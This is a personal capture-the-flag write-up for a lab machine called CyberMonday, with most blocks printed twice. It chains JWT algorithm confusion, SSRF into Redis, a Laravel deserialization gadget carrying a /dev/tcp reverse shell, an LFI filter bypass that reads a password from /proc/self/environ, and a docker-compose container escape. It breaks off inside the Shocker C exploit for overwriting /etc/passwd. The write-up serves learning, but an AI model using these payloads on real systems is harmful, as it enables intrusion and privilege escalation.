MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApvezvAKCOgxwsiyV6PRJ
fGMul+WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP/8jJ7WA2gDa8oP3N2J8z
Fyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn7
97IlIYr6Wqfc6ZPn1nsEhOrwO+qSD4Q24FVYeUxsn7pJ0oOWHPD+qtC5q3BR2M/S
xBrxXh9vqcNBB3ZRRA0H0FDdV6Lp/8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhn
gysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh1
6wIDAQAB
-----END PUBLIC KEY-----
lucas@parrot  ~/machines/cybermonday  node dec            
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApvezvAKCOgxwsiyV6PRJ
fGMul+WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP/8jJ7WA2gDa8oP3N2J8z
Fyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn7
97IlIYr6Wqfc6ZPn1nsEhOrwO+qSD4Q24FVYeUxsn7pJ0oOWHPD+qtC5q3BR2M/S
xBrxXh9vqcNBB3ZRRA0H0FDdV6Lp/8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhn
gysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh1
6wIDAQAB
-----END PUBLIC KEY-----

with that , i used a extension for burpsuite to sign JWT called JWT editor, and with that i could sign my jwt with some extra parameters.

start the JWT plugin

4e8a19c148c7c3d5796e08a1598a006a.png

then after i do this, i had the ability to sign jwt from the repeater
2a6c8fa8fa169e4a17093b8d06f31c02.png

so by ding this, i started to play wiht the extension of the api called Webhooks/Create, since i could nopt play before , because i did had my role set to user, but now i could change it to admin

WHAT I GOT WITHOUT SIGNING

a3af544e6f09a486a2ded62f45403aca.png

since i could sign now , i just change my role to admin, and also since this was a JWT type confusion attack , i needed to cahnge the algorith to RS256, otherwise it did not worked

4747d619f5aa50beb3cbe8d72b814cff.png

and if i verified the token i got this

d06b558bd7762e8f47c25db1e39d81aa.png

now i could create sucesfully the webhook
ca32fbc6803d7d0d1db66e5b49e07f82.png

and after browse it, i could get the SSRF, since i modified the method to get and the location to my box just for testing
22aead9a84c610e2db23b1ed2d247057.png

1fb2b3fa31ac8697211c0612c34d7692.png

with the SSRF i could do an internal port discovery, because when i hitted a url that was alive, it deleays for a bit, otherwise it just get an instant response

URL LIVE

64f30f5eda0f83821bc445cb09038a8b.png

URL NOT LIVE

a4018a61e9365f8f832eccd1e677ee0a.png

then i did not need to go further, because i knewed that redis was running, so i could try to exploit it, however , it was complicated, because it had to operate via http with redis, and the only thing that comes to my mind , is since i could set the method to whatever i wanted, i could use some methods such as SET, to make

/machines/cybermonday/exploit  python3 decrypt.py                
b'25c6a7ecd50b519b7758877cdc95726f29500d4c|HZ8VuP0AQdIqUJvh3BFO6gG6s7QzBScshGPNMvoR\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f'
/machines/cybermonday/exploit  python3 decrypt.py                
b'25c6a7ecd50b519b7758877cdc95726f29500d4c|HZ8VuP0AQdIqUJvh3BFO6gG6s7QzBScshGPNMvoR\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f'

create a php gadget for deserialization

php phpggc  -a Laravel/RCE9 system 'bash -c "bash -i >& /dev/tcp/10.10.14.15/4443 0>&1"'
O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{S:9:\"\\00*\\00events\";O:25:\"Illuminate\\Bus\\Dispatcher\":5:{S:12:\"\\00*\\00container\";N;S:11:\"\\00*\\00pipeline\";N;S:8:\"\\00*\\00pipes\";a:0:{}S:11:\"\\00*\\00handlers\";a:0:{}S:16:\"\\00*\\00queueResolver\";S:6:\"system\";}S:8:\"\\00*\\00event\";O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":1:{S:10:\"connection\";S:51:\"bash -c \"bash -i >& \/dev\/tcp\/10.10.14.15\/4443 0>&1\"\";}}
php phpggc  -a Laravel/RCE9 system 'bash -c "bash -i >& /dev/tcp/10.10.14.15/4443 0>&1"'
O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{S:9:\"\\00*\\00events\";O:25:\"Illuminate\\Bus\\Dispatcher\":5:{S:12:\"\\00*\\00container\";N;S:11:\"\\00*\\00pipeline\";N;S:8:\"\\00*\\00pipes\";a:0:{}S:11:\"\\00*\\00handlers\";a:0:{}S:16:\"\\00*\\00queueResolver\";S:6:\"system\";}S:8:\"\\00*\\00event\";O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":1:{S:10:\"connection\";S:51:\"bash -c \"bash -i >& \/dev\/tcp\/10.10.14.15\/4443 0>&1\"\";}}

so after having the laravel session created the php gadget for deserialization, i could use the redis method SET to set the value of my laravel_session equals to the serialized payload, so once i refresh the page in my account, i would load the serialized data, and the application will deserialized and i would gained code execution

but i needed to craft the payload by putting all together

FINAL PAYLOAD

\r\nSET 'laravel_session:JV485LQ2zP8gXbse2gKlRGEDBInEmw7j6dopxXXw' 'O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{S:9:\"\\00*\\00events\";O:25:\"Illuminate\\Bus\\Dispatcher\":5:{S:12:\"\\00*\\00container\";N;S:11:\"\\00*\\00pipeline\";N;S:8:\"\\00*\\00pipes\";a:0:{}S:11:\"\\00*\\00handlers\";a:0:{}S:16:\"\\00*\\00queueResolver\";S:6:\"system\";}S:8:\"\\00*\\00event\";O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":1:{S:10:\"connection\";S:51:\"bash -c \"bash -i >& \/dev\/tcp\/10.10.14.15\/4443 0>&1\"\";}}'\r\n
\r\nSET 'laravel_session:JV485LQ2zP8gXbse2gKlRGEDBInEmw7j6dopxXXw' 'O:40:\"Illuminate\\Broadcasting\\PendingBroadcast\":2:{S:9:\"\\00*\\00events\";O:25:\"Illuminate\\Bus\\Dispatcher\":5:{S:12:\"\\00*\\00container\";N;S:11:\"\\00*\\00pipeline\";N;S:8:\"\\00*\\00pipes\";a:0:{}S:11:\"\\00*\\00handlers\";a:0:{}S:16:\"\\00*\\00queueResolver\";S:6:\"system\";}S:8:\"\\00*\\00event\";O:38:\"Illuminate\\Broadcasting\\BroadcastEvent\":1:{S:10:\"connection\";S:51:\"bash -c \"bash -i >& \/dev\/tcp\/10.10.14.15\/4443 0>&1\"\";}}'\r\n

in this way, once i reload the main home page with my session , i would gain a shell

5944332dff937d3a1973fba64204f341.png

SEND PAYLOAD

a02fc845207490d8ac4c07f2de41fb4b.png

REFRESH PAGE

b3599d16827251c6c5465a8d143434a9.png

GET SHELL ON DOCKER CONTAINER

lucas@parrot  ~/machines/cybermonday  nc -nvlp 4443
listening on [any] 4443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.11.228] 38018
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@070370e2cdc4:~/html/public$ 

lucas@parrot  ~/machines/cybermonday  nc -nvlp 4443
listening on [any] 4443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.11.228] 38018
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@070370e2cdc4:~/html/public$ 

unfortunately i landed on a container, so i started looking for something interesting that helped me to scape from here.

it took me a while, but did not found to much stuff, so i went to enumerate other containers, so i downloaded a copy of a port_scaner on bash, and started looking for open ports.

i found some stuff on other containers like the maria db server, which i had creds , so i transfer the port with chisel but i login into the 2 tables, but could not crack the hashes

cybermondayy db

1 | admin    | admin@cybermonday.htb | $2y$10$6kJuFazZjtlrAvBNvg4bpO2fQSunL56QFbodCKG6.Qjw87Z8.fYnG |       1
 | NULL           | 2023-05-29 04:10:36 | 2023-05-29 04:14:22 |                                                 
|  2 | test     | test@test             | $2y$10$T9NnwDhNRqzzslGLSebViOVmhYzfW2zdVY1Vwm9ImOZJQ5hAfumNe |       0
 | NULL           | 2023-11-26 01:16:16 | 2023-11-26 01:16:16 |      
1 | admin    | admin@cybermonday.htb | $2y$10$6kJuFazZjtlrAvBNvg4bpO2fQSunL56QFbodCKG6.Qjw87Z8.fYnG |       1
 | NULL           | 2023-05-29 04:10:36 | 2023-05-29 04:14:22 |                                                 
|  2 | test     | test@test             | $2y$10$T9NnwDhNRqzzslGLSebViOVmhYzfW2zdVY1Vwm9ImOZJQ5hAfumNe |       0
 | NULL           | 2023-11-26 01:16:16 | 2023-11-26 01:16:16 |      

webhooks db

MySQL [webhooks_api]> select  * from users;
+----+----------+--------------------------------------------------------------+------+
| id | username | password                                                     | role |
+----+----------+--------------------------------------------------------------+------+
|  1 | admin    | $2y$10$Fx8Va.kBE1FO2mVhlWaoDulGdoo9XYKQFDmAPkOjqNyIAtDtUY0lC | user |
|  2 | test     | $2y$10$u2iThil3fOH9COR6SZG44ukCwQxNMn0vt2kQdu2FPH92BTik24bN2 | user |
+----+----------+--------------------------------------------------------------+------+
MySQL [webhooks_api]> select  * from users;
+----+----------+--------------------------------------------------------------+------+
| id | username | password                                                     | role |
+----+----------+--------------------------------------------------------------+------+
|  1 | admin    | $2y$10$Fx8Va.kBE1FO2mVhlWaoDulGdoo9XYKQFDmAPkOjqNyIAtDtUY0lC | user |
|  2 | test     | $2y$10$u2iThil3fOH9COR6SZG44ukCwQxNMn0vt2kQdu2FPH92BTik24bN2 | user |
+----+----------+--------------------------------------------------------------+------+

i also found the redis server on another container, but it just had my malicious serialized payload, and nothing else.

then found that there was a container running a service on port 5000, so i transfered that port to see what is going on there

./port_scanner.sh -i 172.18.0.4 -p 12000
172.18.0.4:5000 is open
./port_scanner.sh -i 172.18.0.4 -p 12000
172.18.0.4:5000 is open
./chisel client 10.10.14.15:9001 R:5000:172.18.0.4:5000
2023/11/26 17:23:39 client: Connecting to ws://10.10.14.15:9001
2023/11/26 17:23:39 client: Connected (Latency 75.615666ms)
./chisel client 10.10.14.15:9001 R:5000:172.18.0.4:5000
2023/11/26 17:23:39 client: Connecting to ws://10.10.14.15:9001
2023/11/26 17:23:39 client: Connected (Latency 75.615666ms)

and by doing a scan in my localhost on port 5000, it told me that it was a service called Docker-Registry

lucas@parrot  ~/machines/cybermonday/exploit  nmap 127.0.0.1 -p 5000 -sCV
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-26 12:23 EST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00016s latency).

PORT     STATE SERVICE VERSION
5000/tcp open  http    Docker Registry (API: 2.0)
|_http-title: Site doesn't have a title.
lucas@parrot  ~/machines/cybermonday/exploit  nmap 127.0.0.1 -p 5000 -sCV
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-26 12:23 EST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00016s latency).

PORT     STATE SERVICE VERSION
5000/tcp open  http    Docker Registry (API: 2.0)
|_http-title: Site doesn't have a title.

so looking at hacktricks, it has some endpoints that i could try to enumerate

first i started looking if i had access to the repositories

curl -s http://127.0.0.1:5000/v2/_catalog | jq .
{
  "repositories": [
    "cybermonday_api"
  ]
}
curl -s http://127.0.0.1:5000/v2/_catalog | jq .
{
  "repositories": [
    "cybermonday_api"
  ]
}

there was also another tools that i could use to dump the docker registry

it was called Docker Registry Grabber, so icloned the repo and used it

python3 drg.py http://127.0.0.
1 -p 5000 --list
[+] cybermonday_api
python3 drg.py http://127.0.0.
1 -p 5000 --list
[+] cybermonday_api

this was not practicall at all, because if i used the command --dump_all it dumped the whole container, and i had to extract each .tar by separated and analyzed it, so there was a more simple method

0242b5a93e20a44d2b872cf8224811ec.png

since i could access to the resource of the image, i could have a shell there, so i just did this

SHELL ON THE OTHER CONTAINER

lucas@parrot  ~/machines/cybermonday/exploit/pe  docker run -it 127.0.0.1:5000/cybermonday_api bash
root@703a8992b14a:/var/www/html# hostname
703a8992b14a
root@703a8992b14a:/var/www/html# whoami
root
root@703a8992b14a:/var/www/html#
lucas@parrot  ~/machines/cybermonday/exploit/pe  docker run -it 127.0.0.1:5000/cybermonday_api bash
root@703a8992b14a:/var/www/html# hostname
703a8992b14a
root@703a8992b14a:/var/www/html# whoami
root
root@703a8992b14a:/var/www/html#

in that way, i could enumerate this container more deeply.

after a long time, i realized that here was the source code for the vhost of the webhooks, and i did not had that, so i copy that and analyze it on my box

COPY SOURCE CODE OF WEBHOOKS

docker cp df2c43e12cc4:/var/www/html/ .
docker cp df2c43e12cc4:/var/www/html/ .

i pretty much knewed how it worked, because i was interacting with those endpoints before, but i found another functionality that was not mentioned on the app, and it was called logs.
b599f4dd941d7e1a91f13c140b547ea6.png

also, since i have the SNYK plugin, it flagged a possible LFI on the application on that endpoint, so i went straight for it.

LFI VULNERABLE ENDPOINT

<?php

namespace app\controllers;
use app\helpers\Api;
use app\models\Webhook;

class LogsController extends Api
{
    public function index($request)
    {
        $this->apiKeyAuth();

        $webhook = new Webhook;
        $webhook_find = $webhook->find("uuid", $request->uuid);

        if(!$webhook_find)
        {
            return $this->response(["status" => "error", "message" => "Webhook not found"], 404);
        }

        if($webhook_find->action != "createLogFile")
        {
            return $this->response(["status" => "error", "message" => "This webhook was not created to manage logs"], 400);
        }

        $actions = ["list", "read"];

        if(!isset($this->data->action) || empty($this->data->action))
        {
            return $this->response(["status" => "error", "message" => "\"action\" not defined"], 400);
        }

        if($this->data->action == "read")
        {
            if(!isset($this->data->log_name) || empty($this->data->log_name))
            {
                return $this->response(["status" => "error", "message" => "\"log_name\" not defined"], 400);
            }
        }

        if(!in_array($this->data->action, $actions))
        {
            return $this->response(["status" => "error", "message" => "invalid action"], 400);
        }

        $logPath = "/logs/{$webhook_find->name}/";

        switch($this->data->action)
        {
            case "list":
                $logs = scandir($logPath);
                array_splice($logs, 0, 1); array_splice($logs, 0, 1);

                return $this->response(["status" => "success", "message" => $logs]);
            
            case "read":
                $logName = $this->data->log_name;

                if(preg_match("/\.\.\//", $logName))
                {
                    return $this->response(["status" => "error", "message" => "This log does not exist"]);
                }

                $logName = str_replace(' ', '', $logName);

                if(stripos($logName, "log") === false)
                {
                    return $this->response(["status" => "error", "message" => "This log does not exist"]);
                }

                if(!file_exists($logPath.$logName))
                {
                    return $this->response(["status" => "error", "message" => "This log does not exist"]);
                }

                $logContent = file_get_contents($logPath.$logName);
                


                return $this->response(["status" => "success", "message" => $logContent]);
        }
    }
}
<?php

namespace app\controllers;
use app\helpers\Api;
use app\models\Webhook;

class LogsController extends Api
{
    public function index($request)
    {
        $this->apiKeyAuth();

        $webhook = new Webhook;
        $webhook_find = $webhook->find("uuid", $request->uuid);

        if(!$webhook_find)
        {
            return $this->response(["status" => "error", "message" => "Webhook not found"], 404);
        }

        if($webhook_find->action != "createLogFile")
        {
            return $this->response(["status" => "error", "message" => "This webhook was not created to manage logs"], 400);
        }

        $actions = ["list", "read"];

        if(!isset($this->data->action) || empty($this->data->action))
        {
            return $this->response(["status" => "error", "message" => "\"action\" not defined"], 400);
        }

        if($this->data->action == "read")
        {
            if(!isset($this->data->log_name) || empty($this->data->log_name))
            {
                return $this->response(["status" => "error", "message" => "\"log_name\" not defined"], 400);
            }
        }

        if(!in_array($this->data->action, $actions))
        {
            return $this->response(["status" => "error", "message" => "invalid action"], 400);
        }

        $logPath = "/logs/{$webhook_find->name}/";

        switch($this->data->action)
        {
            case "list":
                $logs = scandir($logPath);
                array_splice($logs, 0, 1); array_splice($logs, 0, 1);

                return $this->response(["status" => "success", "message" => $logs]);
            
            case "read":
                $logName = $this->data->log_name;

                if(preg_match("/\.\.\//", $logName))
                {
                    return $this->response(["status" => "error", "message" => "This log does not exist"]);
                }

                $logName = str_replace(' ', '', $logName);

                if(stripos($logName, "log") === false)
                {
                    return $this->response(["status" => "error", "message" => "This log does not exist"]);
                }

                if(!file_exists($logPath.$logName))
                {
                    return $this->response(["status" => "error", "message" => "This log does not exist"]);
                }

                $logContent = file_get_contents($logPath.$logName);
                


                return $this->response(["status" => "success", "message" => $logContent]);
        }
    }
}

the lfi was more exactly here

169bae85069a7a900e0c5b52e88a19a8.png

since it was doing a fileGetContents, but before that it was trying to sanitized the code, but it was missing some stuff.

but first before analyzing this, i needed to reach this point so based on teh code, i had to use the function webhooks to create a webhooks for the logs.

CREATE WEBHOOK FOR LOGS

06640ac25037142af689b0affcc973da.png

CREATE A LOG

0665d5e18a5ade82f499f9236665e81a.png

INTERACT WITH THE ENDPOINT logs , read and list logs

7b0ab5d9af462ef137356e8fdf23b98c.png

i was missing the api_key that they were defining on the code

f9d1fdcdf5d1ff6700f3015002321ecc.png

so once i added , i could see the logs

4b740aee67b19d574a3ada1ce6b97ff4.png

and here i could work with the lfi, since it was in the parameter read, because of the fileGetContents, but i needed to bypass 2 things

#1 bypass the filter for ../

we can see that in the code they banned that structure

$logName = $this->data->log_name;

                if(preg_match("/\.\.\//", $logName))
                {
                    return $this->response(["status" => "error", "message" => "This log does not exist"]);
                }
$logName = str_replace(' ', '', $logName);
$logName = $this->data->log_name;

                if(preg_match("/\.\.\//", $logName))
                {
                    return $this->response(["status" => "error", "message" => "This log does not exist"]);
                }
$logName = str_replace(' ', '', $logName);

so it can be bypassed with spaces like this . . / . . /, and php will read it as it is, also , since affter it does that, it was replacing the for nothing, i did not need to worry

#2 bypass the word log

it was doing a stripos so it was checking if the file had the word log, but here was the mistake, since the file just needed to contain the word log, it did not had to end on log
so i could use anything and bypass it.

finally, after a lot of try error, i found a way to list any file on the box

c2081d4993f1f6a1a2120851c088af2c.png

in taht way, i had the possibility to read any file as root, on the box, but since it was another container("the first container that i landed in") i did not had to much stuff to look for, but i remember that since this is Laravel, all the juice is stored in the environment of the user running the program, and since i had a LFI, i could access to it via /proc/self/environ so i went for it

READ JOHN PASSWORD ON ENV VARIABLE

209672494ca4ab546bf810349ef6170d.png

it was kind of messy but with a bit of treath, i could make it look better

a97edeb91ed37bb1a55cfd43713ac5cd.png

i could see more stuff, and there was the password for something, so snce i had a user , i tried ssh as himjohn

20a86be5a46276178d78f533f21e251f.png

SSH AS JOHN TO THE HOST AND GET USER.TXT

lucas@parrot  ~/machines/cybermonday/exploit  ssh john@cybermonday.htb
john@cybermonday.htb's password: 
Linux cybermonday 5.10.0-24-amd64 #1 SMP Debian 5.10.179-5 (2023-08-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Nov 26 17:23:16 2023 from 10.10.14.15
john@cybermonday:~$ hostname
cybermonday
john@cybermonday:~$ whoami
john
john@cybermonday:~$ 
lucas@parrot  ~/machines/cybermonday/exploit  ssh john@cybermonday.htb
john@cybermonday.htb's password: 
Linux cybermonday 5.10.0-24-amd64 #1 SMP Debian 5.10.179-5 (2023-08-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Nov 26 17:23:16 2023 from 10.10.14.15
john@cybermonday:~$ hostname
cybermonday
john@cybermonday:~$ whoami
john
john@cybermonday:~$ 

once i was inside , i realized that my home directory was the mount on the docker host, because on teh mnt location on docker, i could see th user.txt, but could nto read it

PRIV ESCALATION

i first looked for sudo priv and found that my user could run this script on python

john@cybermonday:~$ sudo -l
[sudo] password for john: 
Matching Defaults entries for john on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User john may run the following commands on localhost:
    (root) /opt/secure_compose.py *.yml
john@cybermonday:~$ sudo -l
[sudo] password for john: 
Matching Defaults entries for john on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User john may run the following commands on localhost:
    (root) /opt/secure_compose.py *.yml

i looked at the script

#!/usr/bin/python3
import sys, yaml, os, random, string, shutil, subprocess, signal

def get_user():
    return os.environ.get("SUDO_USER")

def is_path_inside_whitelist(path):
    whitelist = [f"/home/{get_user()}", "/mnt"]

    for allowed_path in whitelist:
        if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):
            return True
    return False

def check_whitelist(volumes):
    for volume in volumes:
        parts = volume.split(":")
        if len(parts) == 3 and not is_path_inside_whitelist(parts[0]):
            return False
    return True

def check_read_only(volumes):
    for volume in volumes:
        if not volume.endswith(":ro"):
            return False
    return True

def check_no_symlinks(volumes):
    for volume in volumes:
        parts = volume.split(":")
        path = parts[0]
        if os.path.islink(path):
            return False
    return True

def check_no_privileged(services):
    for service, config in services.items():
        if "privileged" in config and config["privileged"] is True:
            return False
    return True

def main(filename):

    if not os.path.exists(filename):
        print(f"File not found")
        return False

    with open(filename, "r") as file:
        try:
            data = yaml.safe_load(file)
        except yaml.YAMLError as e:
            print(f"Error: {e}")
            return False

        if "services" not in data:
            print("Invalid docker-compose.yml")
            return False

        services = data["services"]

        if not check_no_privileged(services):
            print("Privileged mode is not allowed.")
            return False

        for service, config in services.items():
            if "volumes" in config:
                volumes = config["volumes"]
                if not check_whitelist(volumes) or not check_read_only(volumes):
                    print(f"Service '{service}' is malicious.")
                    return False
                if not check_no_symlinks(volumes):
                    print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.")
                    return False
    return True

def create_random_temp_dir():
    letters_digits = string.ascii_letters + string.digits
    random_str = ''.join(random.choice(letters_digits) for i in range(6))
    temp_dir = f"/tmp/tmp-{random_str}"
    return temp_dir

def copy_docker_compose_to_temp_dir(filename, temp_dir):
    os.makedirs(temp_dir, exist_ok=True)
    shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml"))

def cleanup(temp_dir):
    subprocess.run(["/usr/bin/docker-compose", "down", "--volumes"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    shutil.rmtree(temp_dir)

def signal_handler(sig, frame):
    print("\nSIGINT received. Cleaning up...")
    cleanup(temp_dir)
    sys.exit(1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Use: {sys.argv[0]} <docker-compose.yml>")
        sys.exit(1)

    filename = sys.argv[1]
    if main(filename):
        temp_dir = create_random_temp_dir()
        copy_docker_compose_to_temp_dir(filename, temp_dir)
        os.chdir(temp_dir)
        
        signal.signal(signal.SIGINT, signal_handler)

        print("Starting services...")
        result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        print("Finishing services")

        cleanup(temp_dir)
#!/usr/bin/python3
import sys, yaml, os, random, string, shutil, subprocess, signal

def get_user():
    return os.environ.get("SUDO_USER")

def is_path_inside_whitelist(path):
    whitelist = [f"/home/{get_user()}", "/mnt"]

    for allowed_path in whitelist:
        if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):
            return True
    return False

def check_whitelist(volumes):
    for volume in volumes:
        parts = volume.split(":")
        if len(parts) == 3 and not is_path_inside_whitelist(parts[0]):
            return False
    return True

def check_read_only(volumes):
    for volume in volumes:
        if not volume.endswith(":ro"):
            return False
    return True

def check_no_symlinks(volumes):
    for volume in volumes:
        parts = volume.split(":")
        path = parts[0]
        if os.path.islink(path):
            return False
    return True

def check_no_privileged(services):
    for service, config in services.items():
        if "privileged" in config and config["privileged"] is True:
            return False
    return True

def main(filename):

    if not os.path.exists(filename):
        print(f"File not found")
        return False

    with open(filename, "r") as file:
        try:
            data = yaml.safe_load(file)
        except yaml.YAMLError as e:
            print(f"Error: {e}")
            return False

        if "services" not in data:
            print("Invalid docker-compose.yml")
            return False

        services = data["services"]

        if not check_no_privileged(services):
            print("Privileged mode is not allowed.")
            return False

        for service, config in services.items():
            if "volumes" in config:
                volumes = config["volumes"]
                if not check_whitelist(volumes) or not check_read_only(volumes):
                    print(f"Service '{service}' is malicious.")
                    return False
                if not check_no_symlinks(volumes):
                    print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.")
                    return False
    return True

def create_random_temp_dir():
    letters_digits = string.ascii_letters + string.digits
    random_str = ''.join(random.choice(letters_digits) for i in range(6))
    temp_dir = f"/tmp/tmp-{random_str}"
    return temp_dir

def copy_docker_compose_to_temp_dir(filename, temp_dir):
    os.makedirs(temp_dir, exist_ok=True)
    shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml"))

def cleanup(temp_dir):
    subprocess.run(["/usr/bin/docker-compose", "down", "--volumes"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    shutil.rmtree(temp_dir)

def signal_handler(sig, frame):
    print("\nSIGINT received. Cleaning up...")
    cleanup(temp_dir)
    sys.exit(1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Use: {sys.argv[0]} <docker-compose.yml>")
        sys.exit(1)

    filename = sys.argv[1]
    if main(filename):
        temp_dir = create_random_temp_dir()
        copy_docker_compose_to_temp_dir(filename, temp_dir)
        os.chdir(temp_dir)
        
        signal.signal(signal.SIGINT, signal_handler)

        print("Starting services...")
        result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        print("Finishing services")

        cleanup(temp_dir)

it was doing a lot of checks for security reasons and then if all the check were valid it will just run docker-compose with a yml file, and create a container based on teh configuration of the yml file, but agian i needed to find a way to create a container in which i could affer the localhost later when i get there.

so lets break down what i could not do

1

i could not set the container to be a privilege container

def check_no_privileged(services):
    for service, config in services.items():
        if "privileged" in config and config["privileged"] is True:
            return False
    return True
def check_no_privileged(services):
    for service, config in services.items():
        if "privileged" in config and config["privileged"] is True:
            return False
    return True

2

i had to mount the contained on the specific path /home/john

def is_path_inside_whitelist(path):                                                                             
    whitelist = [f"/home/{get_user()}", "/mnt"]                                                                 
                                                                                                                
    for allowed_path in whitelist:                                                                              
        if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):                                     
            return True                                                                                         
    return False
def is_path_inside_whitelist(path):                                                                             
    whitelist = [f"/home/{get_user()}", "/mnt"]                                                                 
                                                                                                                
    for allowed_path in whitelist:                                                                              
        if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):                                     
            return True                                                                                         
    return False

3

the mount has to be :ro it means read only, so i could not write there

def check_read_only(volumes):                                                                                   
    for volume in volumes:                                                                                      
        if not volume.endswith(":ro"):                                                                          
            return False                                                                                        
    return True 
def check_read_only(volumes):                                                                                   
    for volume in volumes:                                                                                      
        if not volume.endswith(":ro"):                                                                          
            return False                                                                                        
    return True 

4

the container can not have symbolic links

def check_no_symlinks(volumes):
    for volume in volumes:
        parts = volume.split(":")
        path = parts[0]
        if os.path.islink(path):
            return False
    return True
def check_no_symlinks(volumes):
    for volume in volumes:
        parts = volume.split(":")
        path = parts[0]
        if os.path.islink(path):
            return False
    return True

then in the main, it just was doing some checks that file exist, and including the functions previosly defined, and finally runns the container with docker-composer

CREATING A MALICIOS CONTAINER

so for creating a container that then allows me to scape without issues, since i could not use priviledge stuff, i could abouse the capabilities, because there were not banned on teh script, so by giving me full capabilities and setting the apparmor to uncofined, i could try different methods to affet the host being inside the container.

version: "3"
services:
  web:
    image: "cybermonday_api"
    command: bash -c "bash -i >& /dev/tcp/10.10.14.15/4445 0>&1"
    volumes:
      - /home/john:/mnt:ro
    cap_add:
      - ALL
    security_opt:
      - apparmor:unconfined
version: "3"
services:
  web:
    image: "cybermonday_api"
    command: bash -c "bash -i >& /dev/tcp/10.10.14.15/4445 0>&1"
    volumes:
      - /home/john:/mnt:ro
    cap_add:
      - ALL
    security_opt:
      - apparmor:unconfined

so that was the structure for the container, it was simple, was unsing the only image that we had cybermonday-api, once loaded it , it give me a shell, since i need to operate from ther, and then i just was including the needs for the creating and for allowing the script to wrok, and finally i was adding full capabilities, and disabling the apparmor

once i loaded the sudo script, i got a root shell on the container

john@cybermonday:~$ sudo /opt/secure_compose.py docker-composer.yml
Starting services...
john@cybermonday:~$ sudo /opt/secure_compose.py docker-composer.yml
Starting services...
root@336e0c109bb8:/tmp# whoami
root
root@336e0c109bb8:/tmp# hostname -i
172.19.0.2
root@336e0c109bb8:/tmp# whoami
root
root@336e0c109bb8:/tmp# hostname -i
172.19.0.2

since i ahd full capabilities, i could try different methods to scape, but one that i found really awesome was to abuse of the CAP_DAC_OVERRIDE that allows me to overwrite an existing file from the host

1f1290dbd5d25435e369d13187d59152.png

b1951a67569112b20d25af136e7574ff.png

in hacktricks page, i could find a program called shoker that will allow me to overwrite any existing file on teh box , in this case i wanted to add a user with full priviledges , so i used openssl to generate a salted hash , and with teh correct structure overwrite the passwd

SHOKER

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd 

struct my_file_handle {
  unsigned int handle_bytes;
  int handle_type;
  unsigned char f_handle[8];
};
void die(const char * msg) {
  perror(msg);
  exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
  fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
    h -> handle_type);
  for (int i = 0; i < h -> handle_bytes; ++i) {
    fprintf(stderr, "0x%02x", h -> f_handle[i]);
    if ((i + 1) % 20 == 0)
      fprintf(stderr, "\n");
